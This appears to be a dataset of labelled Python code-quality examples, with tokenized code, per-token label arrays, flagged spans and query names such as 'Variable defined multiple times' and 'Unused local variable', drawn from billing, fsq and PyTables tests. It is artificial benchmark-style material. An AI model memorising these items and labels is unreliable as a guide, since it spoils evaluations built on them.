",_", "\"", "neve", "r", "\\u", "expir", "es", "\"_", ",_", "\"", "number", "\\u", "of", "\\u", "bill", "ing", "\\u", "cycle", "s", "\"_", ",_", "\"", "quanti", "ty", "\"_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "Resource_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "gateway_", ",_", "attributes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "\"", "next", "\\u", "bill", "\\u", "amo", "unt", "\"_", "in_", "attributes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "next", "\\u", "bill", "\\u", "amount_", "=_", "Decimal_", "(_", "attributes_", "[_", "\"", "next", "\\u", "bill", "\\u", "amo", "unt", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "(_", "attributes_", "[_", "\"", "next", "\\u", "bill", "\\u", "amo", "unt", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Resource_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "gateway_", ",_", "attributes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "\"", "price", "\"_", "in_", "attributes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "price_", "=_", "Decimal_", "(_", "self_", "._", "price_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "balance", "\"_", "in_", "attributes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "balance_", "=_", "Decimal_", "(_", "self_", "._", "balance_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "next", "\\u", "bill", "ing", "\\u", "period", "\\u", "amo", "unt", "\"_", "in_", "attributes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "next", "\\u", "bill", "ing", "\\u", "period", "\\u", "amount_", "=_", "Decimal_", "(_", "self_", "._", "next", "\\u", "bill", "ing", "\\u", "period", "\\u", "amount_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "add", "\\u", "ons", "\"_", "in_", "attributes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "add", "\\u", "ons_", "=_", "[_", "Add", "On_", "(_", "gateway_", ",_", "add", "\\u", "on_", ")_", "for_", "add", "\\u", "on_", "in_", "self_", "._", "add", "\\u", "ons_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "descrip", "tor", "\"_", "in_", "attributes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "descriptor_", "=_", "Descriptor_", "(_", "gateway_", ",_", "attributes_", "._", "pop_", "(_", "\"", "descrip", "tor", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "discou", "nts", "\"_", "in_", "attributes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "discou", "nts_", "=_", "[_", "Disco", "unt_", "(_", "gateway_", ",_", "discount_", ")_", "for_", "discount_", "in_", "self_", "._", "discou", "nts_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "status", "\\u", "histo", "ry", "\"_", "in_", "attributes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "status", "\\u", "history_", "=_", "[_", "Subscription", "Status", "Event_", "(_", "gateway_", ",_", "status", "\\u", "event_", ")_", "for_", "status", "\\u", "event_", "in_", "self_", "._", "status", "\\u", "history_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "transaction", "s", "\"_", "in_", "attributes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "transactions_", "=_", "[_", "Transaction_", "(_", "gateway_", ",_", "transaction_", ")_", "for_", "transaction_", "in_", "self_", "._", "transactions_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Subscription_", "(_", "Resource_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "next", "\\u", "bill", "\\u", "amount_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "warnings_", "._", "warn_", "(_", "\"", "Ple", "ase", " ", "use", " ", "Subscription", ".", "next", "\\u", "bill", "ing", "\\u", "period", "\\u", "amo", "unt", " ", "inst", "ead", "\"_", ",_", "Dep", "reca", "tion", "Warning_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "\\u", "next", "\\u", "bill", "\\u", "amount_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
axialmarket/fsq/fsq/tests/install.py
[ { "content": " def test_itemusergroup(self):\n '''Test installing with item user|group for down/trigger-s'''\n for uid, gid in ((UID, GID, ), (UNAME, GNAME, )):\n for root in ROOT1, ROOT2:\n _c.FSQ_ROOT = root\n # test only user kwarg\n self._cycle(item_user=uid)\n\n # test only group kwarg\n self._cycle(item_group=gid)\n\n # test with uid/gid passed in\n self._cycle(item_user=uid, item_group=gid)\n\n # test with uid/gid set\n queue = normalize()\n _c.FSQ_ITEM_USER, _c.FSQ_ITEM_GROUP = ( uid, gid, )\n self._cycle()\n\n # plays well with other flags?\n for down in True, False:\n self._cycle(item_user=uid, is_down=down)\n self._cycle(item_group=gid, is_down=down)\n self._cycle(item_user=uid, item_group=gid, is_down=down)\n for is_t in True, False:\n self._cycle(item_user=uid, is_triggered=is_t)\n self._cycle(item_group=gid, is_triggered=is_t)\n self._cycle(item_user=uid, item_group=gid,\n is_triggered=is_t)\n self._cycle(item_user=uid, item_group=gid,\n is_triggered=is_t, is_down=down)\n for quid, qgid in ((UID, GID,), (UNAME, GNAME,)):\n self._cycle(item_user=uid, user=quid)\n self._cycle(item_user=uid, group=qgid)\n self._cycle(item_user=uid, user=quid, group=qgid)\n self._cycle(item_group=gid, user=quid)\n self._cycle(item_group=gid, group=qgid)\n self._cycle(item_group=gid, user=quid, group=qgid)\n self._cycle(item_user=uid, item_group=gid,\n user=quid)\n self._cycle(item_user=uid, item_group=gid,\n group=qgid)\n self._cycle(item_user=uid, item_group=gid,\n user=quid, group=qgid)\n self._cycle(item_user=uid, item_group=gid,\n is_down=down, is_triggered=is_t,\n user=quid, group=qgid)\n # END queue uid/gid LOOP\n # END is_triggered LOOP\n # END down LOOP\n # END root LOOP\n for uid, gid in ((ILLEGAL_UID, ILLEGAL_UID,),\n (ILLEGAL_UNAME, ILLEGAL_UNAME,)):\n queue = normalize()\n uid = gid = ILLEGAL_UID\n self.assertRaises(FSQConfigError, install, queue,\n item_user=uid, is_down=True)\n self.assertRaises((OSError, AttributeError,), _valid_install,\n queue, item_user=uid, is_down=True)\n self.assertRaises(FSQConfigError, install, queue,\n item_group=gid, is_down=True)\n self.assertRaises((OSError, AttributeError,), _valid_install,\n queue, item_group=gid, is_down=True)\n self.assertRaises(FSQConfigError, install, queue,\n item_user=uid, item_group=gid, is_down=True)\n self.assertRaises((OSError, AttributeError,), _valid_install,\n queue, item_user=uid, item_group=gid,\n is_down=True)\n\n # verify install with illegal works, and uninstall fails\n queue = self._install(item_user=uid)\n self.assertRaises(FSQConfigError, uninstall, queue,\n item_user=uid)\n self.assertFalse(os.path.exists(os.path.join(root, queue,\n _c.FSQ_DOWN)))\n queue = self._install(item_group=gid)\n self.assertRaises(FSQConfigError, uninstall, queue,\n item_group=gid)\n self.assertFalse(os.path.exists(os.path.join(root, queue,\n _c.FSQ_DOWN)))\n queue = self._install(item_user=uid, item_group=gid)\n self.assertRaises(FSQConfigError, uninstall, queue,\n item_user=uid, item_group=gid)\n self.assertFalse(os.path.exists(os.path.join(root, queue,\n _c.FSQ_DOWN)))\n # END ILLEGAL LOOP\n # END uid,gid loop", "metadata": "root.TestInstallUninstall.test_itemusergroup", "header": "['class', 'TestInstallUninstall', '(', 'FSQTestCase', ')', ':', '___EOS___']", "index": 221 } ]
[ { "span": "queue ", "start_line": 236, "start_column": 16, "end_line": 236, "end_column": 21 } ]
[ { "span": "queue ", "start_line": 274, "start_column": 16, "end_line": 274, "end_column": 21 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Test", "Install", "Unin", "stall", "_", "(_", "FS", "QT", "est", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "item", "usergr", "oup_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Test", " ", "install", "ing", " ", "with", " ", "item", " ", "user", "|", "group", " ", "for", " ", "down", "/", "trigger", "-", "s", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "uid_", ",_", "gid_", "in_", "(_", "(_", "UID_", ",_", "GID", "_", ",_", ")_", ",_", "(_", "UNA", "ME_", ",_", "GN", "AME_", ",_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "root_", "in_", "ROO", "T1_", ",_", "ROO", "T2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "c_", "._", "FS", "Q", "\\u", "ROOT_", "=_", "root_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "test", " ", "only", " ", "user", " ", "kwarg_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "user_", "=_", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "only", " ", "group", " ", "kwarg_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "group_", "=_", "gid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "with", " ", "uid", "/", "gid", " ", "pass", "ed", " ", "in_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "user_", "=_", "uid_", ",_", "item", "\\u", "group_", "=_", "gid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "with", " ", "uid", "/", "gid", " ", "set_", "\\u\\u\\uNL\\u\\u\\u_", "queue_", "=_", "normalize_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "c_", "._", "FS", "Q", "\\u", "ITEM", "\\u", "USER_", ",_", "\\u", "c_", "._", "FS", "Q", "\\u", "ITEM", "\\u", "GROUP_", "=_", "(_", "uid_", ",_", "gid_", ",_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "plays", " ", "well", " ", "with", " ", "other", " ", "flags", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "down_", "in_", "True_", ",_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "user_", "=_", "uid_", ",_", "is", "\\u", "down_", "=_", "down_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "group_", "=_", "gid_", ",_", "is", "\\u", "down_", "=_", "down_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "user_", "=_", "uid_", ",_", "item", "\\u", "group_", "=_", "gid_", ",_", "is", "\\u", "down_", "=_", "down_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "is", "\\u", "t_", "in_", "True_", ",_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "user_", "=_", "uid_", ",_", "is", "\\u", "triggered_", "=_", "is", "\\u", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "group_", "=_", "gid_", ",_", "is", "\\u", "triggered_", "=_", "is", "\\u", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "user_", "=_", "uid_", ",_", "item", "\\u", "group_", "=_", "gid_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "is", "\\u", "triggered_", "=_", "is", "\\u", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "user_", "=_", "uid_", ",_", "item", "\\u", "group_", "=_", "gid_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "is", "\\u", "triggered_", "=_", "is", "\\u", "t_", ",_", "is", "\\u", "down_", "=_", "down_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "qui", "d_", ",_", "qg", "id_", "in_", "(_", "(_", "UID_", ",_", "GID", "_", ",_", ")_", ",_", "(_", "UNA", "ME_", ",_", "GN", "AME_", ",_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "user_", "=_", "uid_", ",_", "user_", "=_", "qui", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "user_", "=_", "uid_", ",_", "group_", "=_", "qg", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "user_", "=_", "uid_", ",_", "user_", "=_", "qui", "d_", ",_", "group_", "=_", "qg", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "group_", "=_", "gid_", ",_", "user_", "=_", "qui", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "group_", "=_", "gid_", ",_", "group_", "=_", "qg", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "group_", "=_", "gid_", ",_", "user_", "=_", "qui", "d_", ",_", "group_", "=_", "qg", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "user_", "=_", "uid_", ",_", "item", "\\u", "group_", "=_", "gid_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user_", "=_", "qui", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "user_", "=_", "uid_", ",_", "item", "\\u", "group_", "=_", "gid_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "group_", "=_", "qg", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "user_", "=_", "uid_", ",_", "item", "\\u", "group_", "=_", "gid_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user_", "=_", "qui", "d_", ",_", "group_", "=_", "qg", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "cycle_", "(_", "item", "\\u", "user_", "=_", "uid_", ",_", "item", "\\u", "group_", "=_", "gid_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "is", "\\u", "down_", "=_", "down_", ",_", "is", "\\u", "triggered_", "=_", "is", "\\u", "t_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user_", "=_", "qui", "d_", ",_", "group_", "=_", "qg", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "END", " ", "queue", " ", "uid", "/", "gid", " ", "LOOP", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "END", " ", "is", "\\u", "trigger", "ed", " ", "LOOP", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "END", " ", "down", " ", "LOOP", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "END", " ", "root", " ", "LOOP", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "uid_", ",_", "gid_", "in_", "(_", "(_", "ILL", "EGA", "L", "\\u", "UID_", ",_", "ILL", "EGA", "L", "\\u", "UID_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "ILL", "EGA", "L", "\\u", "UNA", "ME_", ",_", "ILL", "EGA", "L", "\\u", "UNA", "ME_", ",_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "queue_", "=_", "normalize_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uid_", "=_", "gid_", "=_", "ILL", "EGA", "L", "\\u", "UID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "FS", "QC", "onfi", "g", "Error_", ",_", "install_", ",_", "queue_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "item", "\\u", "user_", "=_", "uid_", ",_", "is", "\\u", "down_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "(_", "OSE", "rror_", ",_", "Attribute", "Error_", ",_", ")_", ",_", "\\u", "valid", "\\u", "install_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "queue_", ",_", "item", "\\u", "user_", "=_", "uid_", ",_", "is", "\\u", "down_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "FS", "QC", "onfi", "g", "Error_", ",_", "install_", ",_", "queue_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "item", "\\u", "group_", "=_", "gid_", ",_", "is", "\\u", "down_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "(_", "OSE", "rror_", ",_", "Attribute", "Error_", ",_", ")_", ",_", "\\u", "valid", "\\u", "install_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "queue_", ",_", "item", "\\u", "group_", "=_", "gid_", ",_", "is", "\\u", "down_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "FS", "QC", "onfi", "g", "Error_", ",_", "install_", ",_", "queue_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "item", "\\u", "user_", "=_", "uid_", ",_", "item", "\\u", "group_", "=_", "gid_", ",_", "is", "\\u", "down_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "(_", "OSE", "rror_", ",_", "Attribute", "Error_", ",_", ")_", ",_", "\\u", "valid", "\\u", "install_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "queue_", ",_", "item", "\\u", "user_", "=_", "uid_", ",_", "item", "\\u", "group_", "=_", "gid_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "is", "\\u", "down_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "verify", " ", "install", " ", "with", " ", "ille", "gal", " ", "works", ",", " ", "and", " ", "uninstall", " ", "fails_", "\\u\\u\\uNL\\u\\u\\u_", "queue_", "=_", "self_", "._", "\\u", "install_", "(_", "item", "\\u", "user_", "=_", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "FS", "QC", "onfi", "g", "Error_", ",_", "uninstall", "_", ",_", "queue_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "item", "\\u", "user_", "=_", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "os_", "._", "path_", "._", "exists_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "queue_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "c_", "._", "FS", "Q", "\\u", "DOWN_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "queue_", "=_", "self_", "._", "\\u", "install_", "(_", "item", "\\u", "group_", "=_", "gid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "FS", "QC", "onfi", "g", "Error_", ",_", "uninstall", "_", ",_", "queue_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "item", "\\u", "group_", "=_", "gid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "os_", "._", "path_", "._", "exists_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "queue_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "c_", "._", "FS", "Q", "\\u", "DOWN_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "queue_", "=_", "self_", "._", "\\u", "install_", "(_", "item", "\\u", "user_", "=_", "uid_", ",_", "item", "\\u", "group_", "=_", "gid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "FS", "QC", "onfi", "g", "Error_", ",_", "uninstall", "_", ",_", "queue_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "item", "\\u", "user_", "=_", "uid_", ",_", "item", "\\u", "group_", "=_", "gid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "os_", "._", "path_", "._", "exists_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "queue_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "c_", "._", "FS", "Q", "\\u", "DOWN_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "END", " ", "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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
PyTables/PyTables/tables/tests/test_links.py
[ { "content": " def test13_direct_attribute_access_via_chained_softlinks(self):\n \"\"\"Check get/set access via link2-->link1-->target.child.attribute\"\"\"\n\n lgroup1 = self.h5file.get_node('/lgroup1')\n arr2 = self.h5file.get_node('/group1/arr2')\n # multiple chained links\n l_lgroup1 = self.h5file.create_soft_link('/', 'l_lgroup1', '/lgroup1')\n # get child attribute\n self.assertTrue(l_lgroup1.arr2[:] == [1, 2, 3])\n # set child attribute\n l_lgroup1.arr2[0] = -1\n self.assertTrue(arr2[:] == [-1, 2, 3])", "metadata": "root.SoftLinkTestCase.test13_direct_attribute_access_via_chained_softlinks", "header": "['class', 'SoftLinkTestCase', '(', 'common', '.', 'TempFileMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 334 }, { "content": " def test14_child_of_softlink_to_group(self):\n \"\"\"Create an array whose parent is a softlink to another group\"\"\"\n\n group1 = self.h5file.get_node('/group1')\n lgroup1 = self.h5file.get_node('/lgroup1')\n new_arr = self.h5file.create_array(lgroup1, 'new_arr', obj=[1, 2, 3])\n new_arr2 = self.h5file.get_node('/group1/new_arr')\n self.assertTrue(new_arr2[:] == [1, 2, 3])", "metadata": "root.SoftLinkTestCase.test14_child_of_softlink_to_group", "header": "['class', 'SoftLinkTestCase', '(', 'common', '.', 'TempFileMixin', ',', 'TestCase', ')', ':', '___EOS___']", "index": 347 } ]
[ { "span": "lgroup1 ", "start_line": 337, "start_column": 8, "end_line": 337, "end_column": 15 }, { "span": "group1 ", "start_line": 350, "start_column": 8, "end_line": 350, "end_column": 14 }, { "span": "new_arr ", "start_line": 352, "start_column": 8, "end_line": 352, "end_column": 15 } ]
[]
1
true
